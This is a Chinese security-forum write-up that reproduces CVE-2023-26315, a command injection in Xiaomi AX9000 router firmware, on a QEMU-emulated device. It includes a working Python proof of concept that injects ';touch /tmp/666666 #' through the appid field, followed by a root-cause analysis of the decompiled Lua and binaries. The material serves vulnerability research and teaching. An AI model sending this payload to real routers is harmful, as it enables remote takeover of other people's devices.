[原创]小米AX9000路由器CVE-2023-26315漏洞复现-IoT安全-看雪安全社区

## 前言
本文参考 winmt 师傅的文章，复现其挖掘的小米 AX9000 路由器命令执行漏洞。本文大幅简化了分析流程，梳理并总结了所需工具与操作指令，旨在帮助读者快速完成该路由器的qemu仿真与漏洞复现。

## 漏洞概要
<a href="elink@349K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0L8Y4k6V1i4K6u0W2L8%4u0Y4i4K6u0W2j5$3&6Q4x3V1k6X3L8r3q4%4i4K6u0r3M7$3S2G2N6#2)9J5c8V1y4z5g2V1c8Q4x3X3b7J5x3o6t1@1i4K6u0V1x3U0x3H3z5e0x3`.">国家信息安全漏洞共享平台</a>
<a href="elink@352K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0N6X3g2Q4x3X3g2G2M7X3N6Q4x3V1k6o6g2V1g2d9k6h3y4G2M7X3c8Q4x3@1k6A6k6q4)9K6c8p5y4h3c8g2)9J5k6o6t1H3x3U0y4Q4x3X3b7J5y4U0x3I4y4b7`.`.">CVE 记录：CVE-2023-26315</a>
- 固件版本 ≤ 1.0.168
- 授权后命令注入漏洞
小米`AX9000`路由器在`1.0.168`版本及之前存在二进制漏洞（命令注入），该漏洞由于未对非法的`appid`做出有效限制而引起。已授权登录的攻击者在成功利用此漏洞后，可在远程目标设备上执行任意命令，并获得设备的最高控制权，造成权限提升

## qemu系统仿真小米路由器AX9000

固件下载地址:<a href="elink@53dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0k6r3&6Q4x3X3g2U0L8X3u0B7x3g2)9J5k6h3k6V1M7#2)9J5k6h3q4H3K9g2)9J5k6h3#2A6i4K6u0V1K9h3#2Y4i4K6u0W2j5$3!0E0i4K6u0r3P5r3W2S2L8%4q4A6j5h3&6Y4i4K6u0r3M7X3!0E0i4K6u0r3M7X3p5%4x3q4)9J5c8X3#2A6N6$3W2X3K9g2)9#2k6Y4u0S2y4K6m8Q4y4h3k6X3K9i4u0E0N6$3q4J5k6g2)9#2k6X3y4U0y4o6t1@1i4K6g2X3x3g2)9J5k6e0m8Q4x3X3f1I4y4U0S2Q4x3X3g2T1K9h3^5`.">固件下载</a>
qemu-ARM64内核环境下载地址: <a href="elink@a7cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5K9h3c8H3x3q4)9J5k6h3N6A6N6r3S2#2j5W2)9J5k6h3W2G2i4K6u0r3x3U0l9J5y4g2)9J5c8U0l9%4i4K6u0r3x3e0c8Q4x3V1k6I4k6h3#2#2i4K6t1#2c8e0k6Q4x3U0f1&6x3q4)9J5y4f1q4p5i4K6t1#2c8e0g2Q4x3U0g2n7b7W2)9J5y4f1u0m8b7g2u0y4y4U0c8Q4x3U0g2q4y4#2)9J5y4e0S2q4i4K6t1#2b7f1k6Q4x3U0g2q4y4g2)9J5y4f1p5J5i4K6t1#2z5o6y4Q4x3V1j5`.">qemu搭建ARM64环境 | XiDP</a>
### **固件拆解**
拆解固件过程如下
```bash
binwalk -Me miwifi_ra70_firmware_cc424_1.0.168.bin
cd _miwifi_ra70_firmware_cc424_1.0.168.bin.extracted
ubireader_extract_images 2B4.ubi // 得到的文件会放入在ubifs-root的2B4.ubi文件夹中(不执行这个指令是没有这个文件夹的)
cd ubifs-root
cd 2B4.ubi
binwalk -Me img-870537086_vol-ubi_rootfs.ubifs
cd _img-870537086_vol-ubi_rootfs.ubifs.extracted
```

### **配置qemu虚拟机网络**
完成之后就可以启动我们已经配置好的`qemu虚拟机`(需要手动配置ip地址)
```bash
// 使用./qemu-start.sh来启动qemu虚拟机
// 启动完成之后登入root用户，密码为xidp
// 之后按照下面指令配置ip地址
ip add add 192.168.122.130/24 dev enp0s1
ip link set enp0s1 up
ip route add default via 192.168.122.1
```
设置之后尝试ping一下主机来验证ip地址来查看是否设置成功

### **patch修改文件**
为了能够跳过小米路由器的初始化这里需要patch其中的文件
patch的文件为`/squashfs-root/usr/sbin/sysapihttpd`
找到如图所示部分进行修改将 `CBZ` 修改为 `CBNZ`
 ![图片描述](upload/attach/202511/1005607_FZ4857248MGJSMZ.webp)

### **使用scp传输向qemu虚拟机传输文件**
`patch`之后替换掉原本的文件随后使用`scp`传入`qemu虚拟机`中
```bash
// 在Ubuntu物理机中压缩并传输
tar -czf squashfs-root.tar.gz ./squashfs-root/
scp -o HostKeyAlgorithms=ssh-rsa squashfs-root.tar.gz root@192.168.122.130:/root/
// 下面在qemu虚拟机中解压
tar -xzf squashfs-root.tar.gz
```

使用这个方法会出现一个问题，明明使用root用户传输密码是对的，但是它就是显示不对，这是并不是密码的缘故而是ssh禁止了使用root用户登入
我们需要做一个修改，否则后续依旧只能使用普通用户来传输很麻烦

在root用户下使用下面指令修改ssh配置文件
```bash
nano /etc/ssh/sshd_config
```
 ![图片描述](upload/attach/202511/1005607_ESPQ3849K4S3P75.webp)

修改完毕之后重启ssh服务
```bash
systemctl restart sshd
```

然后再次使用上述scp指令就可以进行传输了

### **启动httpd服务**
之后就可以准备启动httpd服务
执行下面几个指令(这里是按照wimmt师傅文章中的内容做了一个总结，只需要按照顺序复制粘贴到qemu虚拟机中就可以成功启动小米路由器的仿真)
```bash
cd /root/squashfs-root
mount --bind /proc proc
mount --bind /dev dev
chroot . /bin/sh

mkdir -p /var/run
touch /var/run/ubus.sock
mkdir -p /var/lock
touch /var/lock/procd_sysapihttpd.lock

/sbin/procd &
sleep 3
/sbin/ubusd &
sleep 2
echo "WAUST-8WAUDT" > /etc/TZ

/etc/init.d/sysapihttpd start
```

执行之后就可以访问 `192.168.122.130`
它会自动定位到这里路由器的初始化配置页面
 ![图片描述](upload/attach/202511/1005607_JUDMXSFH794J5AD.webp)

因为初始化部分和硬件相关所以我们需要想个办法绕过
也就是执行下面这两个指令
```bash
uci set xiaoqiang.common.INITTED=1
uci commit
// 输出验证是否成功写入
uci show | grep INITTED 
```

设置好之后再次访问就可以绕过初始化配置，直接跳转到登入页面
 ![图片描述](upload/attach/202511/1005607_TNB8V9E7DESMHP7.webp)

`注意这里是重新访问，不是刷新界面`
 ![图片描述](upload/attach/202511/1005607_84JFZUQB9ZMMW8U.webp)

由于我们复现的`CVE-2023-26315`是一个授权认证后的漏洞，因此我们需要设置登录密码以登录进后台拿到`token`的值

所以下面我们需要尝试登入它
阅读它的web页面源码来查看它的密码的加密逻辑是什么
`F12`之后查看`web`内容，分别在`440行`和`1722行`可以看到

![图片描述](upload/attach/202511/1005607_JF9JKJ5BCTTSQ56.webp)

![图片描述](upload/attach/202511/1005607_6WVNXECWPTWHM8P.webp)

由此可以看出，我们的用户名是固定为`admin`，而密码是通过一个叫 `oldPwd()函数` 加密之后的结果。
这个 `oldPwd()函数` 将`用户提交的密码`和一个固定的`key = a2ffa5c9be07488bbb04a3a47d3c5f6a`组合之后使用`sha1哈希`进行一个加密
```c
真实密码 = sha1(用户设置的密码 + a2ffa5c9be07488bbb04a3a47d3c5f6a)
```

下面我们假设我们设置的用户密码为 `xidp`
那么我们需要给`account.common.admin`这个`uci`配置为`sha1(xidpa2ffa5c9be07488bbb04a3a47d3c5f6a)`

```c
sha1(xidpa2ffa5c9be07488bbb04a3a47d3c5f6a) = 32c98a6b9ffd5226b7ca5e8336e2e50bbfa6fb10
```

![图片描述](upload/attach/202511/1005607_7PV3NXTKWWWMUEC.webp)

那么我们使用下面指令来设置密码
```bash
uci set account.common.admin=32c98a6b9ffd5226b7ca5e8336e2e50bbfa6fb10
uci commit
uci show | grep admin
```

![图片描述](upload/attach/202511/1005607_5KVKTQPU7FQK69U.webp)

下面就可以成功使用密码xidp登入了
 ![图片描述](upload/attach/202511/1005607_X3VB9QBYB3MWF36.webp)

### **没用的部分**
也是进入到这个界面发现这个小米路由器AX9000的造型看起来有点酷
 ![图片描述](upload/attach/202511/1005607_97AB79XZRG4YV3N.webp)

本来想淘宝买一个看看能不能实机打一下，淘宝看了一下价格感觉还是算了`o(╥﹏╥)o`
 ![图片描述](upload/attach/202511/1005607_6SQJ35FGQZ2EZGN.webp)

## 漏洞复现
这里先简单使用winmt师傅的PoC来演示漏洞效果，随后再介绍漏洞成因

这里先对着这个小米路由器的配置界面抓个包，得到我们现在的token值
 ![图片描述](upload/attach/202511/1005607_GW9ZZM63A2J79F9.webp)

抓包得到的内容如下
```c
GET /cgi-bin/luci/;stok=26a8470f16d4a0c8a03a8e503549b3ee/web/home HTTP/1.1
Host: 192.168.122.130
Cookie: __guid=82176214.4122683288115647000.1762159952222.404; monitor_count=6; psp=admin|||2|||0
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
```

可以得知我们的`token=26a8470f16d4a0c8a03a8e503549b3ee`

然后qemu虚拟机启动这两个服务
```bash
/usr/sbin/datacenter &
/usr/sbin/plugincenter &
```

接着编写我们的PoC，如下所示(我本来是想拿shell的，但是尝试几次之后都没有连接上，不知道什么原因，为了展示命令执行成功，我将指令换成了创建文件666666)
```python
import requests

server_ip = "192.168.122.130"
token = "26a8470f16d4a0c8a03a8e503549b3ee"

test_cmd = ";touch /tmp/666666 #"

res = requests.post(
    "http://{}/cgi-bin/luci/;stok={}/api/xqdatacenter/request".format(server_ip, token), 
    data={'payload':'{"api":629, "appid":"' + test_cmd + '"}'}
)

print("响应:", res.text)
```

接着运行我们的脚本 
 ![图片描述](upload/attach/202511/1005607_ER46A53JV867BPR.webp)

到这里就算是成功复现了，我们可以直接使用指令退出我们的qemu虚拟机了
```bash
shutdown -h now 
```

## 漏洞原理分析
复现成功之后我们再来看我们这命令执行漏洞具体产生的原因是什么
小米路由器的前端是使用Lua来编写的，而且其中存放的Lua文件并不是源码而是已经编译后的二进制文件，同时小米对Lua的解释器做了魔改。

但是没有关系github上已经有了专门针对小米路由器Lua的反编译工具: <a href="elink@716K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6z5P5h3q4y4K9i4y4@1P5g2)9J5c8Y4g2F1L8s2g2S2j5#2)9#2k6X3#2A6N6$3W2X3K9b7`.`.">NyaMisty/unluac_miwifi</a>

### **Lua反汇编和分析**
由于需要反编译的数量比较多，所以我们简单写一个脚本来批量反编译

修改脚本
```python
import os

source_base = "/home/xidp/myfile/iot/xiaomi_ax9000/_miwifi_ra70_firmware_cc424_1.0.168.bin.extracted/ubifs-root/2B4.ubi/_img-870537086_vol-ubi_rootfs.ubifs.extracted/squashfs-root/usr/"
output_base = "/home/xidp/myfile/iot/xiaomi_ax9000/luac"  # 指定输出目录

os.makedirs(output_base, exist_ok=True)
res = os.popen(f"find {source_base} -name *.lua").readlines()

for i in range(0, len(res)):
    source_path = res[i].strip("\n")
    
    relative_path = os.path.relpath(source_path, source_base)
    output_path = os.path.join(output_base, relative_path + ".dis")
    
    os.makedirs(os.path.dirname(output_path), exist_ok=True)
    
    cmd = f"java -jar /home/xidp/tools/unluac_miwifi/unluac.jar {source_path} > {output_path}"
    print(f"反编译: {source_path} -> {output_path}")
    os.system(cmd)
```

下面我们打开反编译的 `/usr/lib/lua/luci/controller/api/xqdatacenter.lua`
可以看到大致如下内容
```Lua
local L0, L1, L2, L3, L4, L5
L0 = module
L1 = "luci.controller.api.xqdatacenter"
L2 = package
L2 = L2.seeall
L0(L1, L2)
function L0()
  local L0, L1, L2, L3, L4, L5, L6
  L0 = node
  L1 = "api"
  L2 = "xqdatacenter"
  L0 = L0(L1, L2)
  L1 = firstchild
  L1 = L1()
  L0.target = L1
  L0.title = ""
  L0.order = 300
  L0.sysauth = "admin"
  L0.sysauth_authenticator = "jsonauth"
  L0.index = true
  L1 = entry
  L2 = {}
  L3 = "api"
  L4 = "xqdatacenter"
  L2[1] = L3
  L2[2] = L4
  L3 = firstchild
  L3 = L3()
  L4 = _
  L5 = ""
  L4 = L4(L5)
  L5 = 300
  L1(L2, L3, L4, L5)
  L1 = entry
  L2 = {}
  L3 = "api"
  L4 = "xqdatacenter"
  L5 = "request"
  L2[1] = L3
  L2[2] = L4
  L2[3] = L5
 ... 
 ...
end
index = L0
```

当然这样的可读性依旧不是很高，我们可以使用ai工具来帮助我们增加可读性
ai解析过后的内容大致如下
```Lua
-- 定义模块
local module = require("luci.controller.api.xqdatacenter")
package.seeall(module)

-- 主函数：定义路由节点和入口点
function define_routes()
    -- 创建主节点
    local api_node = node("api", "xqdatacenter")
    api_node.target = firstchild()
    api_node.title = ""
    api_node.order = 300
    api_node.sysauth = "admin"
    api_node.sysauth_authenticator = "jsonauth"
    api_node.index = true

-- 定义各个API端点
    -- 主入口点
    entry(
        {"api", "xqdatacenter"},
        firstchild(),
        _(""),
        300
    )

-- 隧道请求处理
    entry(
        {"api", "xqdatacenter", "request"},
        call("tunnelRequest"),
        _(""),
        301
    )

-- 设备识别
    entry(
        {"api", "xqdatacenter", "identify_device"},
        call("identifyDevice"),
        _(""),
        302,
        8  -- 额外参数
    )
	... 
	...
end

-- 将函数赋值给index变量
index = define_routes
```

分析结果可知`/api/xqdatacenter/request`这个API端点需要用户登录认证，并且用户名被设置为 `admin`，`sysauth_authenticator = "jsonauth"`即当`token`不存在或错误时，通过`authenticator.jsonauth`函数进行登录验证

对于具体的入口来说，定义`entry{}`内的第五个参数`flag`位为`0x01`（或`&0x01=1`）代表不需要鉴权，这里`/api/xqdatacenter/request`这个入口没有设置`flag`位，因此表示需要鉴权。

下面来看 `tunnelRequest` 这个函数
```Lua
function L5()
  local L0, L1, L2, L3, L4, L5, L6, L7, L8
  L0 = require
  L1 = "xiaoqiang.util.XQCryptoUtil"
  L0 = L0(L1)
  L1 = L0.binaryBase64Enc
  L2 = _UPVALUE0_
  L2 = L2.formvalue_unsafe
  L3 = "payload"
  L2, L3, L4, L5, L6, L7, L8 = L2(L3)
  L1 = L1(L2, L3, L4, L5, L6, L7, L8)
  L2 = _UPVALUE1_
  L2 = L2.THRIFT_TUNNEL_TO_DATACENTER
  L2 = L2 % L1
  L3 = require
  L4 = "luci.util"
  L3 = L3(L4)
  L4 = _UPVALUE0_
  L4 = L4.write
  L5 = L3.exec
  L6 = L2
  L5 = L5(L6)
  L6 = nil
  L7 = false
  L8 = true
  L4(L5, L6, L7, L8)
end
tunnelRequest = L5

## AI增加可读性如下
-- tunnelRequest 函数：处理隧道请求，存在命令注入安全漏洞
tunnelRequest = function()
    -- 导入所需模块
    local XQCryptoUtil = require("xiaoqiang.util.XQCryptoUtil")
    local luci_util = require("luci.util")
    
    -- 不安全地获取payload参数（未经过滤）
    local raw_payload = _UPVALUE0_.formvalue_unsafe("payload")
    
    -- 对payload进行Base64编码
    local encoded_payload = XQCryptoUtil.binaryBase64Enc(raw_payload)
    
    -- 构造命令字符串（存在命令注入风险）
    local command = string.format(_UPVALUE1_.THRIFT_TUNNEL_TO_DATACENTER, encoded_payload)
    
    -- 执行系统命令
    local command_result = luci_util.exec(command)
    
    -- 将命令执行结果写入响应
    _UPVALUE0_.write(command_result, nil, false, true)
end
```

函数主要作用是会对传入`payload`字段内的`JSON`数据用`binaryBase64Enc`函数进行`Base64`编码处理，然后拼接入`THRIFT_TUNNEL_TO_DATACENTER`所指代的命令中并执行

关键问题在于使用`formvalue_unsafe`函数获取`payload`字段内容，未过滤危险字符。

而`formvalue`函数中是有用`hackCheck`过滤危险字符的。这里可能是开发者考虑到`Json`格式的数据当中可能会用到某些字符所以不能直接过滤，但也没有进一步去做针对于`Json`的危险字符过滤，给了我们可趁之机。

在`/usr/lib/lua/xiaoqiang/common/XQConfigs.lua`中，可以找到`THRIFT_TUNNEL_TO_DATACENTER`的相关定义
```Lua
L0 = "thrifttunnel 0 '%s'"
THRIFT_TUNNEL_TO_DATACENTER = L0
```

也就是最后执行的东西是 `thrifttunnel 0 base64(raw_payload)` 
所以下面我们就来看看这个`/usr/sbin/thriftunnel`二进制文件

### **二进制文件内容分析**
这里我们直接进入这个叫sub_AB08的函数，它是thriftunnel的主要程序内容
```c
__int64 __fastcall sub_AB08(int a1, __int64 a2)
{
  __int64 v3; // x0
  const char *v4; // x19
  __int64 v5; // x0
  int v6; // w0
  int v7; // w0
  const char *v8; // x19
  __int64 v10; // [xsp+0h] [xbp+0h] BYREF
  _QWORD v11[4]; // [xsp+48h] [xbp+48h] BYREF
  _QWORD v12[4]; // [xsp+68h] [xbp+68h] BYREF
  _BYTE v13[32]; // [xsp+88h] [xbp+88h] BYREF

if ( a1 == 3 )
  {
    sub_1B6FC(v11, *(a2 + 16));
    sub_1B6FC(&v10 + 104, "");
    if ( v11[1] )
    {
      sub_1B6FC(v13, *(a2 + 16));
      sub_1B9B0(v13, v12);
      std::string::_M_dispose(v13);
    }
    switch ( atoi(*(a2 + 8)) )
    {
      case 0:
        v3 = sub_1BAE0(v12[0]);
        goto LABEL_31;
      case 1:
        v3 = sub_1BE38(v12[0]);
        goto LABEL_31;
      case 2:
        v4 = v12[0];
        uloop_init();
        v5 = ubus_connect(0LL);
        qword_3E1D0 = v5;
        if ( v5 )
        {
          uloop_fd_add(v5 + 80, 9LL);
          if ( ubus_lookup_id(qword_3E1D0, "smartcontroller", &dword_3E1D8) )
          {
            v8 = "{\"code\":-100,\"msg\":\"connect failed\"}";
          }
          else
          {
            blob_buf_init(&qword_3E1E0, 0LL);
            v6 = strlen(v4);
            blobmsg_add_field(&qword_3E1E0, 3LL, "request", v4, (v6 + 1));
            v7 = ubus_invoke_fd(
                   qword_3E1D0,
                   dword_3E1D8,
                   "process_request",
                   qword_3E1E0,
                   sub_1B678,
                   0LL,
                   5000LL,
                   0xFFFFFFFFLL);
            v8 = 0LL;
            if ( !byte_3E128 )
            {
              switch ( v7 )
              {
                case 7:
                  v8 = "{\"code\":-101,\"msg\":\"request server timeout\"}";
                  break;
                case 2:
                  v8 = "{\"code\":-102,\"msg\":\"invalid argument\"}";
                  break;
                case 5:
                  v8 = "{\"code\":-103,\"msg\":\"server response no data\"}";
                  break;
                default:
                  v8 = "{\"code\":-104,\"msg\":\"unknown error\"}";
                  break;
              }
            }
          }
          if ( qword_3E1D0 )
            ubus_free();
        }
        else
        {
          v8 = "{\"code\":-100,\"msg\":\"connect failed\"}";
        }
        uloop_done();
        if ( v8 )
          fputs(v8, stdout);
        break;
      case 3:
        v3 = sub_1CBA8();
        goto LABEL_31;
      case 4:
        v3 = sub_1CEBC();
        goto LABEL_31;
      case 5:
        v3 = sub_1D1D0();
        goto LABEL_31;
      case 6:
        v3 = sub_1C4E8(v12[0]);
        goto LABEL_31;
      case 7:
        v3 = sub_1C840(v12[0]);
        goto LABEL_31;
      case 8:
        v3 = sub_1D4E4(v12[0]);
LABEL_31:
        std::operator<<<std::char_traits<char>>(&std::cout, v3);
        break;
      default:
        break;
    }
    std::string::_M_dispose(v12);
    std::string::_M_dispose(v11);
  }
  return 0LL;
}
```

```c
// 函数原型如下
__int64 __fastcall sub_AB08(int argc, __int64 argv)
```

也就是说
1. `a1`是 `argc` 表示 `参数个数`
2. `a2`是 `argv` 表示 `参数数组指针`

#### **第一步**
它检查程序调用参数是不是三个
```c
if ( a1 == 3 ) // 检查参数个数是否为3
```

显然我们的 `thrifttunnel 0 base64_string` 符合要求
```c
argv[0] = "thrifttunnel"  // 程序名
argv[1] = "0"            // 操作码（case 0）
argv[2] = base64_string  // Base64编码的payload
```

#### **第二步**
`sub_1B6FC函数`的作用是复制
```c
	sub_1B6FC(v11, *(a2 + 16));
	sub_1B6FC(&v10 + 104, "");     
```

它将 `*(a2 + 16)` 也就是 `argv[2]` 的内容复制到 `11` 中，说通俗点就是将 `base64_string` 的内容复制到 `v11` 中

#### **第三步**
```c
    if ( v11[1] )
    {
      sub_1B6FC(v13, *(a2 + 16));
      sub_1B9B0(v13, v12);
      std::string::_M_dispose(v13);
    }
```

这里先判断了一下 `v11` 是否为空，不为空就会进入 `if`，依旧复制 `base64_string` 的内容到 `v13` 中，然后作为第一个参数被传入`sub_1B9B0`函数中，而`sub_1B9B0`函数的第二个参数`v11`此时是空串

这里不再进入 `sub_1B9B0函数` 继续讲解，它的逻辑较为简单，结合ai分析可以知道它的功能大致就是 `解开base64编码`，然后将结果存放在 `v12` 中

#### **第四步**
接下来是个 `switch`
显然我们传入的 `argv[1] = 0`, 所以我们会进入 `case 0` 中
```c
      case 0:
        v3 = sub_1BAE0(v12[0]);
```

也就是随后会执行 `sub_1BAE0函数`
而这里的 `v12[0]` 按照我们的分析，它应该是解码后的字符串，也就是我们用户输入的命令

在`sub_1BAE0`函数中，创建了`socket`，传入的参数是`Json`字符串，很容易判断出此处会将`payload`字段的`Json`数据发送给本地`127.0.0.1`的`9090`端口
 ![图片描述](upload/attach/202511/1005607_WMSEJKXQ6RAPVRB.webp)

`/usr/sbin/datacenter`程序一直挂在进程中，监听着`9090`端口，故我们的数据被传到了`datacenter`程序进一步处理(这里笔者有一个疑问，不知道winmt师傅是如何发现这个 `datacenter` 程序监听9090端口，难不成是把 `sbin` 文件夹下所有文件都分析了一遍吗?)
从下图图示部分可以看到 `datacenter` 程序的main函数中创建了非阻塞服务器实例，监听9090端口
 ![图片描述](upload/attach/202511/1005607_HEJPBP6C7Y3RKRW.webp)

下面进入到`datacenter`的`constructAPIMappingTable()`函数
在里面可以看到分别执行了三个不同类的`sConstructMappingTable()`函数
 ![图片描述](upload/attach/202511/1005607_5UE2P5UAGRZU8EA.webp)

这三个函数都是API路由映射表构建函数，用于建立API编号 → 处理函数的映射关系，实现请求的路由分发
有一些`api`是直接在`datacenter`中被处理的，有些是被进一步转发到了`/usr/sbin/indexservice`（`9088`端口）处理，另外一些则是被转发到了`/usr/sbin/plugincenter`（`9091`端口）中进一步处理。

下面我们之间定位到漏洞所在的api，在`datacenter::PluginApiCollection::sConstructMappingTable`中，当`api`为`629`的时候，对应的`handler`是`callPluginCenter`

![图片描述](upload/attach/202511/1005607_8RH2BTJXGBFVYTK.webp)

进入 `callPluginCenter` 看一下它的功能
```c
__int64 __fastcall callPluginCenter(__int64 a1, __int64 a2)
{
  char *v3; // x0
  _BYTE v5[32]; // [xsp+38h] [xbp+38h] BYREF
  _QWORD v6[5]; // [xsp+58h] [xbp+58h] BYREF

v3 = json_object_to_json_string(a1, &_stack_chk_guard, 0LL);
  sub_B48B0(v5, v3);
  ThriftClient::sCallPluginCenter(v6, v5);
  std::string::_M_assign(a2, v6);
  std::string::_M_dispose(v6);
  std::string::_M_dispose(v5);
  return v6[4] ^ _stack_chk_guard;
}
```

分析可知它的主要功能是接收JSON格式的请求数据，通过`Thrift协议`转发到`plugincenter服务`，获取服务端响应并返回

进入其中的 `sCallPluginCenter` 函数可以看出它将数据转发给了本地的9091端口
 ![图片描述](upload/attach/202511/1005607_W3Q7YFWA92585FV.webp)

下面来看 `DataCenterHandler::request函数` 
```c
__int64 __fastcall DataCenterHandler::request(__int64 a1, __int64 a2, __int64 a3)
{
  __int64 v5; // x0
  __int64 v6; // x2
  __int64 v7; // x0
  _QWORD v9[6]; // [xsp+58h] [xbp+58h] BYREF
  _QWORD v10[5]; // [xsp+88h] [xbp+88h] BYREF

APIMapping::APIMapping(v9);
  APIMapping::redirectRequest(v10, v9, a3);
  std::string::_M_assign(a2, v10);
  std::string::_M_dispose(v10);
  std::_Rb_tree<int,std::pair<int const,void (*)(json_object *,std::string &)>,std::_Select1st<std::pair<int const,void (*)(json_object *,std::string &)>>,std::less<int>,std::allocator<std::pair<int const,void (*)(json_object *,std::string &)>>>::_M_erase(
    v9,
    v9[2]);
  google::LogMessage::LogMessage(
    v9,
    "src/thriftwrapper/DataCenterHandler.hpp",
    40LL,
    1LL,
    0LL,
    &google::LogMessage::SendToSyslogAndLog,
    0LL);
  v5 = google::LogMessage::stream(v9);
  v7 = std::operator<<<std::char_traits<char>>(v5, "output is: ", v6);
  std::operator<<<char>(v7, a2);
  google::LogMessage::~LogMessage(v9);
  return v10[4] ^ _stack_chk_guard;
}
```

其中调用了 `APIMapping::APIMapping` 而这个函数里面就调用了我们之前分析的 `constructAPIMappingTable函数`
```c
void __fastcall APIMapping::APIMapping(APIMapping *this)
{
  *(this + 2) = 0;
  *(this + 2) = 0LL;
  *(this + 3) = this + 8;
  *(this + 4) = this + 8;
  *(this + 5) = 0LL;
  constructAPIMappingTable(this);
}
```

调用`APIMapping::APIMapping`函数建立好上述的映射关系表后 `DataCenterHandler::request函数` 又调用了 `APIMapping::redirectRequest`函数。

`APIMapping::redirectRequest`函数是我们需要重点分析的内容，它的主要作用简而言之就是`解析请求中的API编号，在STL map中查找对应的处理函数，然后通过函数指针动态调用`
 ![图片描述](upload/attach/202511/1005607_PKXZBNRS35Z4EWS.webp)

前面我们分析过了，当`api`为`629`时，传入的`payload`字段的数据会被转发给`plugincenter`程序处理
所以下面我们来分析 `/usr/sbin/plugincenter`程序

直接在`plugincenter`中找到 `datacenter::PluginApiMappingExtendCollection::sConstructMappingTable`函数
同样这个函数也是通过`map`建立`api`编号和对应`handler`函数的映射关系
 ![图片描述](upload/attach/202511/1005607_Z6464MDAE7DX8DK.webp)

```c
  v3 = 629;
  *std::map<int,void (*)(json_object *,std::string &)>::operator[](a1, &v3) = parseGetIdForVendor;
```

可以得知当`api`编号为`629`的时候，会执行`parseGetIdForVendor`函数
进入`parseGetIdForVendor`函数中
会将传入的`Json`数据内的`appid`字段作为参数传递到`PluginApi::getIdForVendor`函数中
 ![图片描述](upload/attach/202511/1005607_9ZVAAFHH7YG5RV7.webp)

下面来看 `PluginApi::getIdForVendor`函数
```c
__int64 __usercall PluginApi::getIdForVendor@<X0>(__int64 a1@<X1>, __int64 a2@<X8>)
{
  __int64 v4; // x0
  __int64 v5; // x0
  __int64 JsonObject; // x19
  __int64 v7; // x0
  char *v8; // x0
  __int64 v10; // [xsp+0h] [xbp+0h] BYREF
  __int64 v11; // [xsp+40h] [xbp+40h] BYREF
  _BYTE v12[16]; // [xsp+48h] [xbp+48h] BYREF
  _QWORD v13[2]; // [xsp+58h] [xbp+58h] BYREF
  char v14; // [xsp+68h] [xbp+68h] BYREF
  _BYTE v15[32]; // [xsp+78h] [xbp+78h] BYREF

AppAccountManager::AppAccountManager(&v11);
  if ( !AppAccountManager::IsValidAppId(&v11, a1) )
  {
    google::LogMessage::LogMessage(
      v12,
      "src/api/PluginApi.cpp",
      626LL,
      2LL,
      0LL,
      &google::LogMessage::SendToSyslogAndLog,
      0LL);
    v4 = google::LogMessage::stream(v12);
    std::operator<<<std::char_traits<char>>(v4, "invalid app id.");
    google::LogMessage::~LogMessage(v12);
    sub_8A940(&v10 + 120, "");
    if ( ApiBase::sCreateJsonObject(5LL) )
    {
      v5 = (json_object_to_json_string)();
      std::string::operator=(v15, v5);
    }
    std::string::_M_dispose(v15);
  }
  v13[0] = &v14;
  v13[1] = 0LL;
  v14 = 0;
  std::operator+<char>("matool --method idForVendor --params ", a1);
  CommonUtils::sCallSystem(v15, v13);
  std::string::_M_dispose(v15);
  JsonObject = ApiBase::sCreateJsonObject(0LL);
  v7 = json_object_new_string(v13[0]);
  json_object_object_add(JsonObject, "idforvendor", v7);
  v8 = json_object_to_json_string(JsonObject);
  sub_8A940(a2, v8);
  json_object_put(JsonObject);
  std::string::_M_dispose(v13);
  AppAccountManager::~AppAccountManager(&v11);
  return a2;
}
```

分析可以得知这个函数的主要作用应该是下面三点
- 验证应用ID的有效性
- 通过系统命令调用外部工具获取供应商ID
- 将结果封装为JSON格式返回

我们来一步步分析:

```c
__int64 __usercall PluginApi::getIdForVendor@<X0>(__int64 a1@<X1>, __int64 a2@<X8>)
```
- a1: 输入参数，指向包含appid的字符串（应用程序ID）
- a2: 输出参数，用于存储返回结果的字符串引用

```c
AppAccountManager::AppAccountManager(&v11);
```
在栈上构造一个`AppAccountManager`对象，用于验证应用ID的有效性

```c
if ( !AppAccountManager::IsValidAppId(&v11, a1) ) { 
	// 如果appid无效，执行这个代码块 
}
```

检查传入的appid是否合法,如果不合法将会进入if中
但是如果不合法则不会进入if中，但是很奇怪，尽管不合法也没有退出该函数阻止后面的命令执行，甚至没有对该appid的内容做一个过滤，而是做了一个日志记录，创建了一个错误响应，但是就是没有`return`，所以依旧会执行下面的代码

就在下面的代码中有这样一段代码
```c
  v13[0] = &v14;
  v13[1] = 0LL;
  v14 = 0;
  std::operator+<char>("matool --method idForVendor --params ", a1);
  CommonUtils::sCallSystem(v15, v13);
```

这句 `std::operator+<char>("matool --method idForVendor --params ", a1);` (这里我猜测实际应该是 `std::operator+<char>("matool...", a1, v13);`而`v13`应该是被反编译的时候优化掉了，否则解释不了为什么会对`v13`产生影响)将 `v13` 变成了 `"matool --method idForVendor --params " + a1` 而 `a1` 则是用户可控的 `appid`

`sCallSystem`是一个封装的函数，用于执行命令，其中不是使用`system函数`而是使用`popen函数`来完成命令
但是 `sCallSystem` 并没有实现对命令参数安全性进行判断，也没有对不合理的指令做过滤，因此最终会导致用户可以控制 `appid` 来实现命令执行漏洞

## 最后
